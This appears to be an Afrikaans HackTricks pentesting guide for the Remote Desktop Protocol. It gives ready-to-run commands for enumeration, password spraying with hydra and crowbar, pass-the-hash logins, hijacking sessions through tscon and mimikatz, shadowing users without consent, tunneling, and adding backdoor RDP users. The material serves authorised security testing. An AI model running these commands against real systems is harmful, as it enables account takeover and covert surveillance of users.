3389 - Pentesting RDP

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Basic Information

Ontwikkel deur Microsoft is die Remote Desktop Protocol (RDP) ontwerp om ’n grafiese koppelvlakverbinding tussen rekenaars oor ’n netwerk moontlik te maak. Om so ’n verbinding te vestig, gebruik die gebruiker ’n RDP-client, en terselfdertyd moet die afgeleë rekenaar RDP-bediener sagteware laat loop. Hierdie opstelling maak dit moontlik om die desktopomgewing van ’n verre rekenaar na die gebruiker se plaaslike toestel te bring en dit te beheer.

Standaardpoort: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumerasie

Outomaties

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Dit kontroleer die beskikbare enkripsie en DoS-kwesbaarheid (sonder om DoS aan die diens te veroorsaak) en verkry NTLM Windows-inligting (weergawes).

Sekuriteitslaag / NLA-kontroles

RDP kan verskillende sekuriteitslae onderhandel (native RDP, TLS, of CredSSP/NLA). Jy kan vinnig die bediener-kantinstellings fingerprint en bepaal of NLA vereis word:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Wees versigtig, jy kan rekeninge blokkeer

Password Spraying

Wees versigtig, jy kan rekeninge blokkeer

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Verbind met bekende credentials/hash

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Kontroleer bekende credentials teen RDP-dienste

rdp_check.py van impacket laat jou toe om te kontroleer of sekere credentials geldig is vir ’n RDP-diens:

rdp_check <domain>/<name>:<password>@<IP>

Aanvalle

Sessie-diefstal

Met SYSTEM permissions kan jy toegang kry tot enige geopende RDP-sessie van enige gebruiker sonder om die eienaar se wagwoord te ken.

Kry geopende sessies:

query user

Toegang tot die geselekteerde sessie

tscon <ID> /dest:<SESSIONNAME>

Nou sal jy binne die geselekteerde RDP-sessie wees en moet jy ’n gebruiker naboots deur slegs Windows-hulpmiddels en -funksies te gebruik.

Belangrik: Wanneer jy toegang kry tot ’n aktiewe RDP-sessie, sal jy die gebruiker ontkoppel wat dit gebruik het.

Jy kan wagwoorde kry deur prosesse te dump, maar hierdie metode is baie vinniger en stel jou in staat om met die gebruiker se virtuele lessenaars te werk (wagwoorde in notepad sonder dat dit op skyf gestoor word, ander RDP-sessies wat op ander masjiene oop is…)

Mimikatz

Jy kan ook mimikatz gebruik om dit te doen:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Indien Remote Desktop Services shadowing geaktiveer is, kan jy ’n ander gebruiker se aktiewe sessie besigtig of beheer (soms sonder toestemming) deur die ingeboude mstsc-skakelaars te gebruik.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP ondersteun virtual channels wat misbruik kan word vir pivoting/tunneling oor ’n gevestigde RDP-sessie. Een opsie is rdp2tcp (client/server) wat TCP forwards oor RDP kan multiplex (werk met FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Deur hierdie tegniek te kombineer met stickykeys of utilman sal jy toegang kry tot ’n administratiewe CMD en enige RDP-sessie enige tyd

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Indien iemand van ’n ander domein of met better privileges login via RDP op die PC waar you are an Admin aanmeld, kan jy jou beacon in sy RDP session process inject en as hy optree:

RDP Sessions Abuse

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Outomatiese Gereedskap

AutoRDPwn is ’n post-exploitation raamwerk geskep in Powershell, ontwerp hoofsaaklik om die Shadow aanval op Microsoft Windows-rekenaars te outomatiseer. Hierdie kwesbaarheid (deur Microsoft as ’n funksie gelys) stel ’n afgeleë aanvaller in staat om sy slagoffer se lessenaar sonder sy toestemming te sien, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.

  • EvilRDP

  • Control muis en sleutelbord op ’n geoutomatiseerde wyse vanaf die command line

  • Control clipboard op ’n geoutomatiseerde wyse vanaf die command line

  • Spawn ’n SOCKS proxy vanaf die client wat netwerkkommunikasie na die teiken kanaliseer via RDP

  • Execute arbitrary SHELL en PowerShell commands op die teiken sonder om files op te laai

  • Upload and download files na/van die teiken selfs wanneer file transfers op die teiken gedeaktiveer is

  • SharpRDP

Hierdie tool laat toe om opdragte in die slagoffer se RDP uit te voer sonder ’n grafiese koppelvlak.

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks